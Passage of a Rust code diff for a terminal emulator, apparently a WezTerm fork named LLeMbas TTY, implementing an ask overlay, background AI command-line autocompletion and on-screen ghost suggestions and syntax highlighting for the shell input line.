fn apply(&mut self, pane_id: PaneId, outcome: Outcome) {
match outcome {
Outcome::Unchanged => {}
Outcome::Changed => self.window.invalidate(),
Outcome::Cancel => self.close(pane_id),
Outcome::Submit(line) => {
state::remember_question(&line);
emit(
self.event.clone(),
self.gui_win.clone(),
MuxPane(pane_id),
line,
);
self.close(pane_id);
}
}
}
}
impl AskOverlay {
/// The row the ask line is drawn on: the cursor's, or the bottom row when
/// a full-screen program has the pane.
fn row(&self) -> StableRowIndex {
let dims = self.delegate.get_dimensions();
let bottom = dims.physical_top
+ (dims.viewport_rows as StableRowIndex)
.saturating_sub(1)
.max(0);
if self.delegate.is_alt_screen_active() {
return bottom;
}
let cursor = self.delegate.get_cursor_position();
cursor.y.max(dims.physical_top).min(bottom)
}
/// The ask line as a row of the pane, and the column of its cursor.
fn line(&self, cols: usize) -> (Line, usize) {
let ask = self.state.lock();
let view = editor::view(
&ask.prefix,
ask.editor.chars(),
ask.editor.cursor(),
cols,
&char_width,
);
let mut prefix = CellAttributes::default();
prefix.set_intensity(Intensity::Bold);
if let Some(color) = state::options().colors.prefix {
prefix.set_foreground(color);
}
let mut line = Line::with_width(cols, SEQ_ZERO);
line.overlay_text_with_attribute(0, &view.lead, prefix, SEQ_ZERO);
let lead_cols: usize = view.lead.chars().map(char_width).sum();
line.overlay_text_with_attribute(
lead_cols,
&view.text,
CellAttributes::default(),
SEQ_ZERO,
);
(line, view.cursor_col)
}
}
impl Pane for AskOverlay {
fn pane_id(&self) -> PaneId {
self.delegate.pane_id()
}
fn get_title(&self) -> String {
self.delegate.get_title()
}
fn send_paste(&self, text: &str) -> anyhow::Result<()> {
let mut ask = self.state.lock();
if !ask.done {
let outcome = ask.editor.insert_text(text);
ask.apply(self.delegate.pane_id(), outcome);
}
Ok(())
}
fn send_composed_text(&self, text: &str) -> anyhow::Result<()> {
self.send_paste(text)
}
fn reader(&self) -> anyhow::Result<Option<Box<dyn std::io::Read + Send>>> {
Ok(None)
}
fn writer(&self) -> MappedMutexGuard<'_, dyn std::io::Write> {
MutexGuard::map(self.sink.lock(), |sink| {
let w: &mut dyn std::io::Write = sink;
w
})
}
fn resize(&self, size: TerminalSize) -> anyhow::Result<()> {
self.delegate.resize(size)
}
fn key_up(&self, _key: KeyCode, _mods: KeyModifiers) -> anyhow::Result<()> {
Ok(())
}
fn key_down(&self, key: KeyCode, mods: KeyModifiers) -> anyhow::Result<()> {
let key = match map_key(key, mods.remove_positional_mods()) {
Some(key) => key,
None => return Ok(()),
};
let mut ask = self.state.lock();
if !ask.done {
let outcome = ask.editor.key(key);
ask.apply(self.delegate.pane_id(), outcome);
}
Ok(())
}
fn mouse_event(&self, _event: MouseEvent) -> anyhow::Result<()> {
Ok(())
}
fn perform_actions(&self, actions: Vec<termwiz::escape::Action>) {
self.delegate.perform_actions(actions)
}
fn is_dead(&self) -> bool {
self.delegate.is_dead()
}
fn palette(&self) -> ColorPalette {
self.delegate.palette()
}
fn domain_id(&self) -> DomainId {
self.delegate.domain_id()
}
fn erase_scrollback(&self, erase_mode: ScrollbackEraseMode) {
self.delegate.erase_scrollback(erase_mode)
}
fn is_mouse_grabbed(&self) -> bool {
false
}
fn is_alt_screen_active(&self) -> bool {
false
}
fn set_clipboard(&self, clipboard: &Arc<dyn Clipboard>) {
self.delegate.set_clipboard(clipboard)
}
fn get_current_working_dir(&self, policy: CachePolicy) -> Option<Url> {
self.delegate.get_current_working_dir(policy)
}
fn get_cursor_position(&self) -> StableCursorPosition {
let cols = self.delegate.get_dimensions().cols;
let (_, x) = self.line(cols);
StableCursorPosition {
x,
y: self.row(),
shape: CursorShape::Default,
visibility: CursorVisibility::Visible,
}
}
fn get_current_seqno(&self) -> SequenceNo {
self.delegate.get_current_seqno()
}
fn get_changed_since(
&self,
lines: Range<StableRowIndex>,
seqno: SequenceNo,
) -> RangeSet<StableRowIndex> {
let mut dirty = self.delegate.get_changed_since(lines.clone(), seqno);
dirty.add(self.row());
dirty.intersection_with_range(lines)
}
fn for_each_logical_line_in_stable_range_mut(
&self,
lines: Range<StableRowIndex>,
for_line: &mut dyn ForEachPaneLogicalLine,
) {
self.delegate
.for_each_logical_line_in_stable_range_mut(lines, for_line);
}
fn get_logical_lines(&self, lines: Range<StableRowIndex>) -> Vec<LogicalLine> {
self.delegate.get_logical_lines(lines)
}
fn with_lines_mut(&self, lines: Range<StableRowIndex>, with_lines: &mut dyn WithPaneLines) {
// Everything of ours is worked out before the pane's own lines are
// borrowed, as the terminal's other overlays do.
let cols = self.delegate.get_dimensions().cols;
let row = self.row();
let (line, _) = self.line(cols);
struct OverlayLines<'a> {
with_lines: &'a mut dyn WithPaneLines,
row: StableRowIndex,
line: Line,
}
impl<'a> WithPaneLines for OverlayLines<'a> {
fn with_lines_mut(&mut self, first_row: StableRowIndex, lines: &mut [&mut Line]) {
let offset = self.row - first_row;
if offset < 0 || offset as usize >= lines.len() {
self.with_lines.with_lines_mut(first_row, lines);
return;
}
// The pane's own lines, with the one row replaced by ours.
let idx = offset as usize;
let (before, rest) = lines.split_at_mut(idx);
let (_, after) = rest.split_at_mut(1);
let mut refs: Vec<&mut Line> = Vec::with_capacity(before.len() + 1 + after.len());
for line in before.iter_mut() {
refs.push(&mut **line);
}
refs.push(&mut self.line);
for line in after.iter_mut() {
refs.push(&mut **line);
}
self.with_lines.with_lines_mut(first_row, &mut refs);
}
}
self.delegate.with_lines_mut(
lines,
&mut OverlayLines {
with_lines,
row,
line,
},
);
}
fn get_lines(&self, lines: Range<StableRowIndex>) -> (StableRowIndex, Vec<Line>) {
let cols = self.delegate.get_dimensions().cols;
let row = self.row();
let (ours, _) = self.line(cols);
let (top, mut lines) = self.delegate.get_lines(lines);
let offset = row - top;
if offset >= 0 && (offset as usize) < lines.len() {
lines[offset as usize] = ours;
}
(top, lines)
}
fn get_dimensions(&self) -> RenderableDimensions {
self.delegate.get_dimensions()
}
}
+181
View File
@@ -0,0 +1,181 @@
//! LLeMbas TTY: the rest of a line asked of LLeMbas, for the suggestion after
//! the cursor when the AI's autocomplete is on.
//!
//! The line so far goes to `lembas complete --shell …` on its standard
//! input, off the window's own thread, after a pause in the typing; a request
//! that is no longer wanted is stopped. What comes back is a model's text: it
//! is cleaned to one plain line and only ever offered, never run.
//!
//! Whether a line is asked about, how the engine is run and what is kept of
//! each attempt for the person is `llembas_line::complete`, which is where
//! the tests are; this file gives it the pane and the thread.
use super::state;
use llembas_line::complete::{self, Log, Outcome, Poll, Request, Skip, Tracker};
use mux::pane::{CachePolicy, Pane, PaneId};
use mux::{Mux, MuxNotification};
use parking_lot::Mutex;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::time::{Duration, Instant, SystemTime};
lazy_static::lazy_static! {
static ref TRACKER: Mutex<Tracker> = Mutex::new(Tracker::default());
/// The last attempts, for "LLeMbas: autocomplete status". In memory only.
static ref LOG: Mutex<Log> = Mutex::new(Log::default());
}
/// The next request is the first after autocomplete was switched on or its
/// model changed: it is given longer.
static COLD: AtomicBool = AtomicBool::new(true);
/// The shell of a pane by its name, as `lembas complete --shell` takes it.
fn shell_of(pane: &Arc<dyn Pane>) -> &'static str {
let name = pane
.get_foreground_process_name(CachePolicy::AllowStale)
.unwrap_or_default();
let base = name
.rsplit(|c: char| c == '/' || c == '\\')
.next()
.unwrap_or("");
match base.trim_start_matches('-') {
"zsh" => "zsh",
"fish" => "fish",
_ => "bash",
}
}
fn still_wanted(id: u64) -> bool {
TRACKER.lock().still_wanted(id)
}
fn ask(id: u64, pane_id: PaneId, req: Request) {
std::thread::sleep(Duration::from_millis(complete::PAUSE_MS));
if !still_wanted(id) {
return;
}
let at = SystemTime::now();
let started = Instant::now();
let (outcome, decisions) = complete::run_said(&req, &|| still_wanted(id));
let took = started.elapsed().as_millis() as u64;
if outcome == Outcome::Cancelled {
// the person typed on: the newer line is asked about instead
return;
}
// in the terminal's log (the debug overlay shows it), without the line
match &outcome {
Outcome::Suggestion(_) | Outcome::Nothing(_) => {
log::debug!(
"LLeMbas autocomplete: {} after {} ms",
if outcome.rest().is_some() {
"a suggestion"
} else {
"nothing"
},
took
);
}
other => log::warn!("LLeMbas autocomplete ({}): {}", req.cli, other.sentence()),
}
if matches!(outcome, Outcome::Suggestion(_) | Outcome::Nothing(_)) {
// the engine answered: the model is there
COLD.store(false, Ordering::Relaxed);
}
let rest = outcome.rest();
{
let mut log = LOG.lock();
log.attempt(at, &req.line, took, outcome);
log.decisions(decisions);
}
TRACKER.lock().finish(id, pane_id, req.line, rest);
state::changed();
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
}
/// Nothing was asked about the line that is typed now, and why: for the
/// status.
pub fn skipped(why: Skip) {
// what is true of nearly every line is not worth keeping in place of a
// reason that says something
if matches!(why, Skip::Off | Skip::Empty | Skip::NotAtEnd) {
return;
}
LOG.lock().skip(SystemTime::now(), why);
}
/// What is on changed (the model, the directory's settings): a line that was
/// answered may be asked about again.
pub fn forget_answers(cold: bool) {
TRACKER.lock().forget();
if cold {
COLD.store(true, Ordering::Relaxed);
}
}
/// The terminal's side of the autocomplete in words, for the person.
pub fn status() -> String {
let options = state::options();
let mut text = LOG.lock().status(
SystemTime::now(),
&options.cli,
&options.ac_model,
options.ac_timeout_ms,
);
if COLD.load(Ordering::Relaxed) {
text.push_str(&format!(
"\nthe next request is given {} ms: the first after a change, for a model that may have to be loaded",
complete::timeout_for(options.ac_timeout_ms, true)
));
}
if !options.ai_complete {
text = format!(
"The terminal is not asking now: AI autocomplete (or AI) is off.\n{}",
text
);
}
text
}
/// The rest of the line, when LLeMbas has answered for exactly this line.
/// Otherwise `None`, and LLeMbas is asked (once for a line): when the answer
/// comes the pane is drawn again. The caller has decided that the line is
/// asked about (`llembas_line::complete::decide`).
pub fn suggestion(
pane: &Arc<dyn Pane>,
typed: &str,
options: &state::Options,
cwd: String,
) -> Option<String> {
let pane_id = pane.pane_id();
let id = match TRACKER.lock().poll(pane_id, typed) {
Poll::Answer(rest) => return rest,
Poll::Waiting => return None,
Poll::Start(id) => id,
};
let req = Request {
cli: options.cli.clone(),
shell: shell_of(pane).to_string(),
cwd,
line: typed.to_string(),
model: options.ac_model.clone(),
timeout_ms: complete::timeout_for(options.ac_timeout_ms, COLD.load(Ordering::Relaxed)),
version: config::llembas_tty_version().to_string(),
debug: options.ac_debug,
};
let spawned = std::thread::Builder::new()
.name("llembas-complete".to_string())
.spawn(move || ask(id, pane_id, req));
if let Err(err) = spawned {
log::warn!(
"LLeMbas: could not start a thread to ask for a completion: {:#}",
err
);
LOG.lock().attempt(
SystemTime::now(),
typed,
0,
Outcome::NotStarted(format!("no thread: {}", err)),
);
}
None
}
+812
View File
@@ -0,0 +1,812 @@
//! LLeMbas TTY: what the terminal draws on the shell's input line.
//!
//! - the rest of the line, dimmed after the cursor: from the terminal's own
//! history of commands, or from LLeMbas when the AI's autocomplete is on;
//! - the command line in colours;
//! - a word from the terminal at the cursor's row, for a moment.
//!
//! All of it is drawn at the moment a pane is painted and nowhere else:
//! nothing is written to the pane, and the terminal's own model of the screen
//! is not touched. The pane's lines are handed to the painter as they are,
//! except for the few rows that are drawn differently, which are copies. The
//! same way the terminal's quick select marks its matches.
//!
//! It needs the shell integration (which marks the cells of the input line)
//! and is off for a pane while a full-screen program has it.
//!
//! What a line of text means is `llembas_line` (the input line among the
//! cells, the parts of a command line, the history); this file fetches the
//! cells and places the result.
use super::{complete, state};
use llembas_line::complete::{decide, dir_of_url_path, same_host, Conditions};
use llembas_line::suggest;
use llembas_line::tokens::{self, Kind, Role};
use llembas_line::zone::{self, Zone};
use mux::pane::{CachePolicy, Pane, PaneId, WithPaneLines};
use mux::renderable::{RenderableDimensions, StableCursorPosition};
use mux::Mux;
use parking_lot::Mutex;
use std::collections::HashMap;
use std::io::Write;
use std::ops::Range;
use std::path::{Path, PathBuf};
use std::sync::Arc;
use std::time::{Duration, Instant};
use termwiz::cell::{CellAttributes, Intensity, SemanticType};
use termwiz::color::ColorAttribute;
use termwiz::surface::{SequenceNo, SEQ_ZERO};
use wezterm_term::{Line, StableRowIndex};
/// An input line of more rows than this is left alone.
const MAX_ROWS: usize = 3;
/// How long it is remembered whether a command exists.
const COMMAND_MEMORY: Duration = Duration::from_secs(20);
/// What is drawn differently on one row.
#[derive(Debug, Clone)]
struct RowPlan {
row: StableRowIndex,
/// The text colour of some cells: first column, columns, colour.
colors: Vec<(usize, usize, ColorAttribute)>,
/// Text placed from a column on.
texts: Vec<(usize, String, CellAttributes)>,
}
/// What is drawn differently in a pane.
#[derive(Debug, Clone, Default)]
pub struct Plan {
/// By row, each row once.
rows: Vec<RowPlan>,
/// The rest of the line that is offered after the cursor, all of it.
pub suggestion: Option<String>,
}
impl Plan {
fn row_mut(&mut self, row: StableRowIndex) -> &mut RowPlan {
let at = match self.rows.iter().position(|r| r.row == row) {
Some(at) => at,
None => {
self.rows.push(RowPlan {
row,
colors: Vec::new(),
texts: Vec::new(),
});
self.rows.len() - 1
}
};
&mut self.rows[at]
}
}
/// What a plan was worked out for. While it is the same, so is the plan.
#[derive(Debug, Clone, PartialEq)]
struct PlanKey {
seqno: SequenceNo,
x: usize,
y: StableRowIndex,
cols: usize,
top: StableRowIndex,
active: bool,
generation: u64,
}
lazy_static::lazy_static! {
static ref PLANS: Mutex<HashMap<PaneId, (PlanKey, Option<Arc<Plan>>)>> =
Mutex::new(HashMap::new());
/// Whether a command exists, and when that was looked up.
static ref COMMANDS: Mutex<HashMap<String, (bool, Instant)>> = Mutex::new(HashMap::new());
}
/// The columns a character takes.
fn char_width(c: char) -> usize {
let mut buf = [0u8; 4];
wezterm_term::unicode_column_width(c.encode_utf8(&mut buf), None)
}
fn text_width(text: &str) -> usize {
text.chars().map(char_width).sum()
}
/// The cells of a line, for `llembas_line::zone`.
fn row_of(line: &Line) -> zone::Row {
line.visible_cells()
.map(|cell| zone::Cell {
col: cell.cell_index(),
width: cell.width(),
text: cell.str().to_string(),
input: cell.attrs().semantic_type() == SemanticType::Input,
})
.collect()
}
/// The column after the last cell of a line that shows something.
fn used_cols(line: &Line) -> usize {
let mut used = 0;
for cell in line.visible_cells() {
if !cell.str().trim().is_empty() {
used = cell.cell_index() + cell.width().max(1);
}
}
used
}
/// The blank columns of a line from column `from` on, up to the first cell
/// that shows something.
fn blank_room(line: &Line, from: usize, cols: usize) -> usize {
if from >= cols {
return 0;
}
let mut end = cols;
for cell in line.visible_cells() {
if cell.cell_index() >= from && !cell.str().trim().is_empty() {
end = cell.cell_index().min(cols);
break;
}
}
end.saturating_sub(from)
}
#[cfg(unix)]
fn this_host() -> Option<String> {
let mut buf = [0u8; 256];
let rc = unsafe { libc::gethostname(buf.as_mut_ptr() as *mut libc::c_char, buf.len() - 1) };
if rc != 0 {
return None;
}
let len = buf.iter().position(|b| *b == 0).unwrap_or(buf.len());
Some(String::from_utf8_lossy(&buf[..len]).to_lowercase())
}
#[cfg(not(unix))]
fn this_host() -> Option<String> {
None
}
/// Is `host` (of a pane's directory, as its shell reported it) this machine?
fn is_this_host(host: &str) -> bool {
if host.is_empty() || host == "localhost" {
return true;
}
same_host(host, this_host().as_deref())
}
/// What can be looked up for a pane whose shell is on this machine: whether a
/// command exists and whether a path does. `None` for a shell somewhere else
/// (a pane of another domain, or `ssh` inside a pane), where this machine's
/// files say nothing.
struct Lookups {
cwd: Option<PathBuf>,
}
impl Lookups {
fn for_pane(pane: &Arc<dyn Pane>) -> Option<Lookups> {
let mux = Mux::try_get()?;
let domain = mux.get_domain(pane.domain_id())?;
if domain.domain_name() != "local" {
return None;
}
let cwd = match pane.get_current_working_dir(CachePolicy::AllowStale) {
Some(url) => {
if !is_this_host(url.host_str().unwrap_or("")) {
return None;
}
// The shell integration reports `file://<host><directory>`,
// and the URL's own "to a file path" refuses every URL that
// names a host: so the path is decoded for what it is.
dir_of_url_path(url.path()).map(PathBuf::from)
}
None => None,
};
Some(Lookups { cwd })
}
/// The directory a program started for this pane is given: the pane's
/// own, else the person's home.
fn dir(&self) -> String {
self.cwd
.as_ref()
.and_then(|cwd| cwd.to_str())
.filter(|cwd| cwd.starts_with('/'))
.map(|cwd| cwd.to_string())
.unwrap_or_else(|| config::HOME_DIR.to_string_lossy().into_owned())
}
/// A word as a path of this machine; `None` when it cannot be one.
fn resolve(&self, word: &str) -> Option<PathBuf> {
if word.is_empty() || word.len() > 512 {
return None;
}
if word == "~" {
return Some(config::HOME_DIR.clone());
}
if let Some(rest) = word.strip_prefix("~/") {
return Some(config::HOME_DIR.join(rest));
}
if word.starts_with('~') {
return None;
}
let path = Path::new(word);
if path.is_absolute() {
return Some(path.to_path_buf());
}
self.cwd.as_ref().map(|cwd| cwd.join(path))
}
fn path_exists(&self, word: &str) -> bool {
match self.resolve(word) {
Some(path) => path.exists(),
None => false,
}
}
fn command_exists(&self, word: &str) -> bool {
if word.is_empty() {
return false;
}
if tokens::is_builtin(word) {
return true;
}
if word.contains('/') {
return match self.resolve(word) {
Some(path) => is_program(&path),
None => false,
};
}
let now = Instant::now();
let mut known = COMMANDS.lock();
if let Some((exists, at)) = known.get(word) {
if now.duration_since(*at) < COMMAND_MEMORY {
return *exists;
}
}
let exists = match std::env::var_os("PATH") {
Some(path) => std::env::split_paths(&path).any(|dir| is_program(&dir.join(word))),
None => false,
};
if known.len() > 1024 {
known.clear();
}
known.insert(word.to_string(), (exists, now));
exists
}
}
#[cfg(unix)]
fn is_program(path: &Path) -> bool {
use std::os::unix::fs::PermissionsExt;
match std::fs::metadata(path) {
Ok(meta) => meta.is_file() && meta.permissions().mode() & 0o111 != 0,
Err(_) => false,
}
}
#[cfg(not(unix))]
fn is_program(path: &Path) -> bool {
path.is_file()
}
/// The colours of the input line.
fn highlight(
pane: &Arc<dyn Pane>,
colors: &state::Colors,
zone: &Zone,
top: StableRowIndex,
plan: &mut Plan,
) {
let parsed = tokens::parse(&zone.text);
if parsed.tokens.is_empty() {
return;
}
let mut token_colors: Vec<state::Color> = parsed
.tokens
.iter()
.map(|token| match token.kind {
Kind::Option => colors.option,
Kind::String => colors.string,
Kind::Variable => colors.variable,
Kind::Operator => colors.operator,
Kind::Comment => colors.comment,
// decided below, by what the word turns out to be
Kind::Command | Kind::Word => None,
})
.collect();
// Whether a command exists, whether a path does: only where this
// machine's files can say.
if let Some(lookups) = Lookups::for_pane(pane) {
for word in &parsed.words {
let value = match &word.value {
Some(value) => value,
None => continue,
};
let (kind, color) = match word.role {
Role::Command => (
Kind::Command,
if lookups.command_exists(value) {
colors.command
} else {
colors.unknown
},
),
Role::Argument | Role::Target => {
if !lookups.path_exists(value) {
continue;
}
(Kind::Word, colors.path)
}
Role::Option | Role::Assignment => continue,
};
for (i, token) in parsed.tokens.iter().enumerate() {
if token.kind == kind && token.start >= word.start && token.end <= word.end {
token_colors[i] = color;
}
}
}
}
let mut t = 0;
for piece in &zone.pieces {
while t < parsed.tokens.len() && parsed.tokens[t].end <= piece.start {
t += 1;
}
if t >= parsed.tokens.len() {
break;
}
let token = &parsed.tokens[t];
if piece.start < token.start {
continue;
}
if let Some(color) = token_colors[t] {
plan.row_mut(top + piece.row as StableRowIndex)
.colors
.push((piece.col, piece.width, color));
}
}
}
/// The rest of the line, offered after the cursor.
fn ghost(
pane: &Arc<dyn Pane>,
options: &state::Options,
zone: &Zone,
line: &Line,
cursor: &StableCursorPosition,
cols: usize,
plan: &mut Plan,
) {
let at_end = zone.at_end();
let typed = zone.typed();
let pane_id = pane.pane_id();
let mut found: Option<(String, suggest::Source)> = None;
if at_end && options.suggestions && !typed.trim().is_empty() {
if let Some(rest) = state::history_suggest(typed) {
found = Some((rest, suggest::Source::History));
}
}
// LLeMbas is asked only when the history has nothing, never for a private
// pane, and only for a shell on this machine: `decide` is the one place
// that says so, and why not when not.
if options.ai_complete {
let lookups = Lookups::for_pane(pane);
let conditions = Conditions {
on: options.ai_complete,
engine: !options.cli.is_empty(),
private: state::is_private(pane_id),
this_machine: lookups.is_some(),
at_end,
history: found.is_some(),
};
match (decide(&conditions, typed), lookups) {
(Ok(line), Some(lookups)) => {
if let Some(rest) = complete::suggestion(pane, line, options, lookups.dir()) {
found = Some((rest, suggest::Source::Ai));
}
}
(Err(why), _) => complete::skipped(why),
(Ok(_), None) => {}
}
}
if !at_end {
return;
}
let (rest, source) = match found {
Some(found) => found,
None => return,
};
let rest = match suggest::clean_rest(&rest) {
Some(rest) => rest,
None => return,
};
let shown = suggest::fit(&rest, blank_room(line, cursor.x, cols), &char_width);
if shown.is_empty() {
return;
}
let mut attr = CellAttributes::default();
match options.colors.ghost {
Some(color) => {
attr.set_foreground(color);
}
None => {
attr.set_intensity(Intensity::Half);
}
}
// what LLeMbas offered is told apart from what the history did
if source == suggest::Source::Ai {
attr.set_italic(true);
}
plan.row_mut(cursor.y).texts.push((cursor.x, shown, attr));
plan.suggestion = Some(rest);
}
/// A standing word that must cover nothing (a command waits at the prompt):
/// dimmed, at the right of the cursor's row when all of it fits beside what
/// the row shows; else on the row below when that row is empty; else cut,
/// beside what the row shows; else not at all.
fn place_gentle(
text: &str,
line: &Line,
below: Option<&Line>,
row: StableRowIndex,
taken: usize,
cols: usize,
colors: &state::Colors,
plan: &mut Plan,
) {
let mut attr = CellAttributes::default();
match colors.ghost {
Some(color) => {
attr.set_foreground(color);
}
None => {
attr.set_intensity(Intensity::Half);
}
}
let wanted = text_width(text);
let free = cols.saturating_sub(used_cols(line).max(taken) + 2);
let (row, shown) = if free >= wanted {
(row, text.to_string())
} else if below.map(used_cols) == Some(0) && cols > 2 {
(row + 1, suggest::fit(text, cols - 1, &char_width))
} else if free >= 12 {
(row, suggest::fit(text, free, &char_width))
} else {
return;
};
if shown.is_empty() {
return;
}
let col = cols.saturating_sub(text_width(&shown));
plan.row_mut(row).texts.push((col, shown, attr));
}
/// A word from the terminal, at the right of a row.
fn place_notice(
text: &str,
line: Option<&Line>,
row: StableRowIndex,
taken: usize,
cols: usize,
colors: &state::Colors,
plan: &mut Plan,
) {
let mut attr = CellAttributes::default();
attr.set_italic(true);
if let Some(color) = colors.notice {
attr.set_foreground(color);
}
let used = line.map(used_cols).unwrap_or(0).max(taken);
let free = cols.saturating_sub(used + 2);
let wanted = text_width(text);
let room = if free >= wanted.min(16) {
free
} else {
// no room beside what the row shows: over its end, set apart
attr.set_reverse(true);
cols.saturating_sub(1)
};
let shown = suggest::fit(text, room, &char_width);
if shown.is_empty() {
return;
}
let col = cols.saturating_sub(text_width(&shown));
plan.row_mut(row).texts.push((col, shown, attr));
}
/// Does an input line stand in the pane that nothing follows, and does it
/// show something? Asked when the cursor's own row holds no input: a line
/// carried on over rows, or none at all.
fn input_stands(pane: &Arc<dyn Pane>) -> bool {
let zones = match pane.get_semantic_zones() {
Ok(zones) => zones,
Err(_) => return false,
};
match zones.last() {
Some(zone) if zone.semantic_type == SemanticType::Input => {
!super::record::zone_text(pane, zone).trim().is_empty()
}
_ => false,
}
}
fn compute(
pane: &Arc<dyn Pane>,
active: bool,
options: &state::Options,
notice: Option<String>,
hint: Option<state::Hint>,
cursor: &StableCursorPosition,
dims: &RenderableDimensions,
) -> Option<Plan> {
let mut plan = Plan::default();
let alt = pane.is_alt_screen_active();
let bottom = dims.physical_top + (dims.viewport_rows as StableRowIndex - 1).max(0);
let around = MAX_ROWS as StableRowIndex;
let mut cursor_line: Option<Line> = None;
let mut below_line: Option<Line> = None;
let mut taken = 0;
if !alt {
let first = (cursor.y - around).max(dims.scrollback_top);
let (top, lines) = pane.get_lines(first..cursor.y + around + 1);
let at = cursor.y - top;
if at >= 0 && (at as usize) < lines.len() {
let at = at as usize;
// The input mark: whether anything stands on the input line of
// the prompt the pane's status record is of. LLeMbas places a
// command only at an empty one.
let marking = if options.input_mark {
state::status_at_prompt(pane.pane_id())
} else {
None
};
let drawing = options.suggestions || options.highlight || options.ai_complete;
let rows: Vec<zone::Row> = if drawing || marking.is_some() {
lines.iter().map(row_of).collect()
} else {
Vec::new()
};
if let Some(status) = &marking {
let typed = zone::row_has_input(&rows[at]) || input_stands(pane);
state::mark_input(pane.pane_id(), status, typed);
}
if drawing {
if let Some(zone) = zone::input_zone(&rows, at, cursor.x, dims.cols, MAX_ROWS) {
if options.highlight {
highlight(pane, &options.colors, &zone, top, &mut plan);
}
if active && (options.suggestions || options.ai_complete) {
ghost(
pane, options, &zone, &lines[at], cursor, dims.cols, &mut plan,
);
}
}
}
if let Some(row) = plan.rows.iter().find(|r| r.row == cursor.y) {
for (col, text, _) in &row.texts {
taken = taken.max(col + text_width(text));
}
}
taken = taken.max(cursor.x + 1);
cursor_line = Some(lines[at].clone());
if cursor.y < bottom {
below_line = lines.get(at + 1).cloned();
}
}
}
// A word in passing is shown first; the standing word is there again
// when its moment is over. A gentle one never covers anything, so in a
// full-screen program it is simply not drawn.
let (notice, gentle) = match (notice, hint) {
(Some(text), _) => (Some(text), None),
(None, Some(hint)) if hint.gentle => (None, Some(hint.text)),
(None, Some(hint)) => (Some(hint.text), None),
(None, None) => (None, None),
};
if let (Some(text), Some(line)) = (&gentle, &cursor_line) {
place_gentle(
text,
line,
below_line.as_ref(),
cursor.y,
taken,
dims.cols,
&options.colors,
&mut plan,
);
}
if let Some(text) = notice {
if alt || cursor_line.is_none() {
let (top, lines) = pane.get_lines(bottom..bottom + 1);
let line = if top == bottom { lines.first() } else { None };
place_notice(
&text,
line,
bottom,
0,
dims.cols,
&options.colors,
&mut plan,
);
} else {
place_notice(
&text,
cursor_line.as_ref(),
cursor.y,
taken,
dims.cols,
&options.colors,
&mut plan,
);
}
}
if plan.rows.is_empty() {
return None;
}
plan.rows.sort_by_key(|r| r.row);
Some(plan)
}
/// What is drawn differently in this pane now; `None` for nothing, which is
/// the answer for every pane until the layer turned something on.
pub fn plan_for(pane: &Arc<dyn Pane>, active: bool) -> Option<Arc<Plan>> {
let options = state::options();
let pane_id = pane.pane_id();
let notice = state::notice(pane_id);
let hint = state::hint(pane_id);
let marking = options.input_mark && state::status_at_prompt(pane_id).is_some();
if !(options.suggestions || options.highlight || options.ai_complete)
&& notice.is_none()
&& hint.is_none()
&& !marking
{
return None;
}
// The pane itself, never something drawn over it (search, copy mode, the
// ask line): those draw their own.
let real = Mux::try_get()?.get_pane(pane_id)?;
if Arc::as_ptr(&real) as *const () != Arc::as_ptr(pane) as *const () {
return None;
}
let cursor = pane.get_cursor_position();
let dims = pane.get_dimensions();
let key = PlanKey {
seqno: pane.get_current_seqno(),
x: cursor.x,
y: cursor.y,
cols: dims.cols,
top: dims.physical_top,
active,
generation: state::generation(),
};
if let Some((known, plan)) = PLANS.lock().get(&pane_id) {
if *known == key {
return plan.clone();
}
}
let plan = compute(pane, active, &options, notice, hint, &cursor, &dims).map(Arc::new);
let mut plans = PLANS.lock();
if plans.len() > 256 {
plans.clear();
}
plans.insert(pane_id, (key, plan.clone()));
plan
}
/// Hand a pane's lines to the painter, with what the terminal draws on them.
/// Called where a pane is painted, in place of the pane's own `with_lines_mut`.
pub fn with_lines_mut(
pane: &Arc<dyn Pane>,
active: bool,
lines: Range<StableRowIndex>,
with_lines: &mut dyn WithPaneLines,
) {
let plan = match plan_for(pane, active) {
Some(plan) => plan,
None => {
pane.with_lines_mut(lines, with_lines);
return;
}
};
struct Decorated<'a> {
with_lines: &'a mut dyn WithPaneLines,
plan: Arc<Plan>,
}
impl<'a> WithPaneLines for Decorated<'a> {
fn with_lines_mut(&mut self, first_row: StableRowIndex, lines: &mut [&mut Line]) {
// Copies of the rows that are drawn differently; every other row
// is handed on as it is.
let mut changed: Vec<(usize, Line)> = Vec::new();
for row in &self.plan.rows {
let offset = row.row - first_row;
if offset < 0 || offset as usize >= lines.len() {
continue;
}
let idx = offset as usize;
let mut line: Line = (*lines[idx]).clone();
if !row.colors.is_empty() {
let cells = line.cells_mut_for_attr_changes_only();
for (col, width, color) in &row.colors {
for c in *col..(*col + *width) {
if let Some(cell) = cells.get_mut(c) {
cell.attrs_mut().set_foreground(*color);
}
}
}
}
for (col, text, attr) in &row.texts {
line.overlay_text_with_attribute(*col, text, attr.clone(), SEQ_ZERO);
}
line.clear_appdata();
changed.push((idx, line));
}
if changed.is_empty() {
self.with_lines.with_lines_mut(first_row, lines);
return;
}
let mut ours = changed
.iter_mut()
.map(|(idx, line)| (*idx, line))
.peekable();
let mut refs: Vec<&mut Line> = Vec::with_capacity(lines.len());
for (idx, line) in lines.iter_mut().enumerate() {
let replaced = match ours.peek() {
Some((at, _)) => *at == idx,
None => false,
};
if replaced {
if let Some((_, line)) = ours.next() {
refs.push(line);
continue;
}
}
refs.push(&mut **line);
}
self.with_lines.with_lines_mut(first_row, &mut refs);
}
}
pane.with_lines_mut(lines, &mut Decorated { with_lines, plan });
}
/// A key that takes the suggestion shown after the cursor: Right or End takes
/// all of it, Alt+Right one word. What is taken is sent to the shell as if it
/// were typed; nothing runs. `false` when there is no suggestion, or the key
/// is another: then the key goes where it always went.
pub fn take_suggestion(
pane: &Arc<dyn Pane>,
key: &::window::KeyCode,
mods: ::window::Modifiers,
) -> bool {
use ::window::{KeyCode, Modifiers};
let mods = mods.remove_positional_mods();
let arrow = matches!(key, KeyCode::RightArrow);
let whole = (arrow || matches!(key, KeyCode::End)) && mods == Modifiers::NONE;
let word = arrow && mods == Modifiers::ALT;
if !whole && !word {
return false;
}
let plan = match plan_for(pane, true) {
Some(plan) => plan,
None => return false,
};
let rest = match &plan.suggestion {
Some(rest) => rest,
None => return false,
};
let text = if whole {
rest.as_str()
} else {
suggest::first_word(rest)
};
if text.is_empty() {
return false;
}
pane.writer().write_all(text.as_bytes()).is_ok()
}
+281
View File
@@ -0,0 +1,281 @@
